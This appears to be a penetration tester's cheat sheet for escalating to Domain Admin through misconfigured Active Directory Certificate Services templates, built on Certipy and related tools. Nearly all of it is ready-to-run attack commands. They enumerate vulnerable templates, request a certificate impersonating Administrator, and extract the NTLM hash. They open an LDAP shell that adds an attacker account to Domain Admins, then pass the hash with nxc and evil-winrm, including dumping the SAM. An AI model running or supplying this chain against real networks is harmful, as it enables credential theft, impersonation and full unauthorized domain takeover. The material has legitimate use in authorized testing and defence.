ESC Reference
| ESC | Misconfiguration | Impact |
|---|---|---|
| ESC1 | Template allows requestor to specify SAN | Request cert as any user including DA |
| ESC2 | No/any EKU restriction | Abuse for authentication |
| ESC3 | Enrollment agent template | Impersonate any user |
| ESC4 | Weak template ACLs | Modify template to create ESC1 |
| ESC6 | CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag | Request cert as any user, any template |
| ESC8 | CA web enrollment accepts NTLM | Relay NTLM to CA for cert as victim |
Tool: Certipy
source certipy-venv/bin/activate
deactivateStep 0 - Check if ADCS is Running
nxc smb 10.x.x.0/24 -M enum_ca
# Browse to confirm web enrollment
# http://<ca-ip>/certsrv/
# https://<ca-ip>/certsrv/
nmap -p 80,443,8080 -sV <ca-ip>Step 1 - Enumerate Templates
certipy find \
-u '<username>@<domain.local>' \
-p '<password>' \
-dc-ip <dc-ip> \
-text \
-enabled \
-hide-adminsCheck per template: Enrollment Rights, mspki-certificate-name-flag (ENROLLEE_SUPPLIES_SUBJECT = ESC1), Extended Key Usage (Any Purpose/empty = ESC2).
ESC1 - Request Certificate as Domain Admin
Requirements: ENROLLEE_SUPPLIES_SUBJECT flag set, enroll rights on template, -upn targeting a DA sAMAccountName.
certipy req \
-u '<attacker>@<domain.local>' \
-p '<password>' \
-dc-ip <dc-ip> \
-target '<ca-hostname>.<domain.local>' \
-ca '<CA-name>' \
-template '<vulnerable-template>' \
-upn 'Administrator@<domain.local>' \
-sid '<target-sid>'Produces administrator.pfx.
Step 2 - Authenticate with Certificate
Option A — PKINIT (DC supports it):
certipy auth \
-pfx administrator.pfx \
-dc-ip <dc-ip>Returns TGT (ccache) and NTLM hash.
Option B - PassTheCert (no PKINIT):
certipy cert -pfx administrator.pfx -nokey -out admin.crt
certipy cert -pfx administrator.pfx -nocert -out admin.key
cd /opt/PassTheHash/Python
python3 passthecert.py \
-action ldap-shell \
-crt admin.crt \
-key admin.key \
-domain <domain.local> \
-dc-ip <dc-ip>Inside the shell:
add_user <username>
add_user_to_group <username> "Domain Admins"
set_password <username> <newpassword>
exitOption C - Pass the hash after cert auth:
nxc smb <subnet>/24 -u Administrator -H <ntlm-hash> --local-auth
nxc smb <subnet>/24 -u Administrator -H <ntlm-hash> --local-auth --sam
evil-winrm -i <target-ip> -u Administrator -H <ntlm-hash>Full Attack Chain
certipy find → identify ESC1 template
→ certipy req → cert as Administrator
→ administrator.pfx produced
→ PKINIT supported?
├── Yes → certipy auth → NTLM hash → pass the hash
└── No → extract crt/key → passthecert ldap-shell → add to Domain Admins
→ Domain Admin access achievedCertipy Flag Reference
| Flag | Meaning |
|---|---|
find | Enumerate templates, identify ESC vulns |
req | Request a certificate |
auth | Authenticate with PFX — returns TGT + NTLM hash |
cert | Extract cert/key from PFX |
-u / -p | Credentials (account$@domain for machine accounts) |
-dc-ip | DC IP |
-target | CA hostname |
-ca | CA name |
-template | Vulnerable template name |
-upn | Target UPN to impersonate |
-sid | Target SID |
-pfx | PFX file to auth with |
-text / -enabled / -hide-admins | Output/filter options |